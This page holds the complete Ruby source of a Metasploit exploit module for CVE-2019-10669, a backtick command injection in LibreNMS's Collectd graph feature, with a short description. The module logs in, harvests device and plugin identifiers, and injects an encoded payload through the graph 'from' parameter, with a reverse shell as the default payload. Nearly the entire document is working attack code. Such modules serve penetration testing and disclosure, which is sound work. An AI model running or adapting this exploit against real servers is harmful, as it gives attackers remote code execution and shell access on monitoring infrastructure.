LibreNMS Collectd Command Injection

This Metasploit module exploits a command injection vulnerability in the Collectd graphing functionality in LibreNMS. The to and from parameters used to define the range for a graph are sanitized using the mysqli_escape_real_string() function, which permits backticks. These parameters are used as part of a shell command that gets executed via the passthru() function, which can result in code execution.


MD5 | 4480c86153083ea98f618156ca80c47b

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'LibreNMS Collectd Command Injection',
'Description' => %q(
This module exploits a command injection vulnerability in the
Collectd graphing functionality in LibreNMS.

The `to` and `from` parameters used to define the range for
a graph are sanitized using the `mysqli_escape_real_string()`
function, which permits backticks. These parameters are used
as part of a shell command that gets executed via the `passthru()`
function, which can result in code execution.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Eldar Marcussen', # Vulnerability discovery
'Shelby Pace' # Metasploit module
],
'References' =>
[
[ 'CVE', '2019-10669' ],
[ 'URL', 'https://www.darkmatter.ae/xen1thlabs/librenms-command-injection-vulnerability-xl-19-017/' ]
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Linux',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse' }
}
]
],
'DisclosureDate' => '2019-07-15',
'DefaultTarget' => 0
))

register_options(
[
OptString.new('TARGETURI', [ true, 'Base LibreNMS path', '/' ]),
OptString.new('USERNAME', [ true, 'User name for LibreNMS', '' ]),
OptString.new('PASSWORD', [ true, 'Password for LibreNMS', '' ])
])
end

def check
res = send_request_cgi!('method' => 'GET', 'uri' => target_uri.path)
return Exploit::CheckCode::Safe unless res && res.body.downcase.include?('librenms')

about_res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'pages', 'about.inc.php')
)

return Exploit::CheckCode::Detected unless about_res && about_res.code == 200

version = about_res.body.match(/version\s+to\s+(\d+\.\d+\.?\d*)/)
return Exploit::CheckCode::Detected unless version && version.length > 1
vprint_status("LibreNMS version #{version[1]} detected")
version = Gem::Version.new(version[1])

return Exploit::CheckCode::Appears if version <= Gem::Version.new('1.50')
end

def login
login_uri = normalize_uri(target_uri.path, 'login')
res = send_request_cgi('method' => 'GET', 'uri' => login_uri)
fail_with(Failure::NotFound, 'Failed to access the login page') unless res && res.code == 200

cookies = res.get_cookies
login_res = send_request_cgi(
'method' => 'POST',
'uri' => login_uri,
'cookie' => cookies,
'vars_post' =>
{
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
)

fail_with(Failure::NoAccess, 'Failed to submit credentials to login page') unless login_res && login_res.code == 302

cookies = login_res.get_cookies
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'cookie' => cookies
)
fail_with(Failure::NoAccess, 'Failed to log into LibreNMS') unless res && res.code == 200 && res.body.include?('Devices')

print_status('Successfully logged into LibreNMS. Storing credentials...')
store_valid_credential(user: datastore['USERNAME'], private: datastore['PASSWORD'])
login_res.get_cookies
end

def get_version
uri = normalize_uri(target_uri.path, 'about')

res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
fail_with(Failure::NotFound, 'Failed to reach the about LibreNMS page') unless res && res.code == 200

html = res.get_html_document
version = html.search('tr//td//a')
fail_with(Failure::NotFound, 'Failed to retrieve version information') if version.empty?
version.each do |e|
return $1 if e.text =~ /(\d+\.\d+\.?\d*)/
end
end

def get_device_ids
version = get_version
print_status("LibreNMS version: #{version}")

if version && Gem::Version.new(version) < Gem::Version.new('1.50')
dev_uri = normalize_uri(target_uri.path, 'ajax_table.php')
format = '+list_detail'
else
dev_uri = normalize_uri(target_uri.path, 'ajax', 'table', 'device')
format = 'list_detail'
end

dev_res = send_request_cgi(
'method' => 'POST',
'uri' => dev_uri,
'cookie' => @cookies,
'vars_post' =>
{
'id' => 'devices',
'format' => format,
'current' => '1',
'sort[hostname]' => 'asc',
'rowCount' => 50
}
)

fail_with(Failure::NotFound, 'Failed to access the devices page') unless dev_res && dev_res.code == 200

json = JSON.parse(dev_res.body)
fail_with(Failure::NotFound, 'Unable to retrieve JSON response') if json.empty?

json = json['rows']
fail_with(Failure::NotFound, 'Unable to find hostname data') if json.empty?

hosts = []
json.each do |row|
hostname = row['hostname']
next if hostname.nil?

id = hostname.match('href=\"device\/device=(\d+)\/')
next unless id && id.length > 1
hosts << id[1]
end

fail_with(Failure::NotFound, 'Failed to retrieve any device ids') if hosts.empty?

hosts
end

def get_plugin_info(id)
uri = normalize_uri(target_uri.path, "device", "device=#{id}", "tab=collectd")

res = send_request_cgi( 'method' => 'GET', 'uri' => uri, 'cookie' => @cookies )
return unless res && res.code == 200

html = res.get_html_document
plugin_link = html.at('div[@class="col-md-3"]//a/@href')
return if plugin_link.nil?

plugin_link = plugin_link.value
plugin_hash = Hash[plugin_link.split('/').map { |plugin_val| plugin_val.split('=') }]
c_plugin = plugin_hash['c_plugin']
c_type = plugin_hash['c_type']
c_type_instance = plugin_hash['c_type_instance'] || ''
c_plugin_instance = plugin_hash['c_plugin_instance'] || ''

return c_plugin, c_type, c_plugin_instance, c_type_instance
end

def exploit
req_uri = normalize_uri(target_uri.path, 'graph.php')
@cookies = login

dev_ids = get_device_ids

collectd_device = -1
plugin_name = nil
plugin_type = nil
plugin_instance = nil
plugin_type_inst = nil
dev_ids.each do |device|
collectd_device = device
plugin_name, plugin_type, plugin_instance, plugin_type_inst = get_plugin_info(device)
break if (plugin_name && plugin_type && plugin_instance && plugin_type_inst)
collectd_device = -1
end

fail_with(Failure::NotFound, 'Failed to find a collectd plugin for any of the devices') if collectd_device == -1
print_status("Sending payload via device #{collectd_device}")

res = send_request_cgi(
'method' => 'GET',
'uri' => req_uri,
'cookie' => @cookies,
'vars_get' =>
{
'device' => collectd_device,
'type' => 'device_collectd',
'to' => Rex::Text.rand_text_numeric(10),
'from' => "1`#{payload.encoded}`",
'c_plugin' => plugin_name,
'c_type' => plugin_type,
'c_plugin_instance' => plugin_instance,
'c_type_instance' => plugin_type_inst
}
)
end
end

Related Posts